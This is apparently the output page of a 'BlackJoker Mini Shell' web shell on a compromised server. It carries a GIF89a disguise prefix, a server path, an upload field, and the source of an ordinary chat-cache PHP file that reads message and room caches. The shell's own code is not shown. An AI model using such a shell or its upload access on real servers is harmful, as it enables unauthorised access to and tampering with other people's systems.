GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/chat/inc/classes/full_cache/
Upload File :
Current File : /home/serb/www/chat/inc/classes/full_cache/selFromAllBase.php

<?php

//$file_name = $this->getCachFileName('Messages');

			$cacheDir = $this->getCachDir();
			$cachePath = $cacheDir->path;

			$total = '';
			$allMsg = array();
			while (false !== ($entry = $cacheDir->read()))
			{
				if(
					strpos($entry, 'messages_stats')!==FALSE ||
					strpos($entry, $GLOBALS['fc_config']['db']['pref'].'rooms')!==FALSE ||
					strpos($entry, $GLOBALS['fc_config']['db']['pref'].'ignors')!==FALSE ||
					strpos($entry, $GLOBALS['fc_config']['db']['pref'].'connections')!==FALSE ||
					strpos($entry, $GLOBALS['fc_config']['db']['pref'].'users')!==FALSE ||
					strpos($entry, $GLOBALS['fc_config']['db']['pref'].'bans')!==FALSE ||
					strpos($entry, '.htaccess')!==FALSE ||
					strpos($entry, 'tables_id')!==FALSE ||
					strpos($entry, 'update')!==FALSE ||
					$entry == '.' ||
					$entry == '..' ||
					$entry=='index.html'
				  )
				continue;


				if( strpos($entry, $GLOBALS['fc_config']['db']['pref'].'messages')!==FALSE  )
				{
					$handle = @fopen($cachePath.$entry, 'r');

					//$total = '';
					//$allMsg = array();
					while (!feof($handle))
					{
    					$buffer = fgets($handle);

						if( $buffer=='' )
							continue;

						$array = explode("\t",$buffer);

						if(	$array[5] == 'adu' || $array[5] == 'rmu' )//|| $array[5] == 'adu' || $array[5] == 'uclc' || $array[5] == 'ustc' || $array[5] == 'ravt'|| $array[5] == 'spht'
						{
							$array['created'] = $array[1];
							$array['command'] = $array[5];
							$array['userid'] = $array[6];
							$array['roomid'] = $array[7];



							$file_name = $this->getCachFileName('Rooms');
							$arrayRoom = file( $file_name );

							$i = 0;
							while( !($arrayRoom = file($file_name)) )
							{
							//	usleep(1000);//for linux
								$i++;
								if( $i>1000  )
									break;
							}

							$toRoomStr = '';
							$fromRoomStr = '';


							foreach( $arrayRoom as $key=>$val )
							{
								$room_elems = explode("\t", $val);

								if( $room_elems[0]==$array['roomid'] )
								{
									$toRoomStr = $room_elems[3];
									break;
								}
							}

							$array['name'] = $toRoomStr;

							/*$file_name = $this->getCachFileName('Users');
							$arrayRoom = file( $file_name );

							$i = 0;
							while( !($arrayRoom = file($file_name)) )
							{
								//usleep(1000);//for linux
								$i++;
								if( $i>1000  )
									break;
							}

							$login = '';
							$roles = '';


							foreach( $arrayRoom as $key=>$val )
							{
								$room_elems = explode("\t", $val);

								if( $room_elems[0]==$array['userid'] )
								{
									$login = $room_elems[1];
									$roles = $room_elems[3];
									break;
								}
							}

							$array['login'] = $login;
							$array['roles'] = $roles;*/

							unset($array[0]);unset($array[1]);unset($array[2]);
							unset($array[3]);unset($array[4]);unset($array[5]);
							unset($array[6]);unset($array[7]);unset($array[8]);
							unset($array[9]);unset($array[10]);unset($array[11]);

							$allMsg[] = $array;
						}
					}
					@fclose($handle);
				}
			}

			$allMsg = $this->sortByIdUser( $allMsg );



			return new ResultSet1( $allMsg )
			//return $allMsg;

?>

./BlackJoker Mini Shell 1.0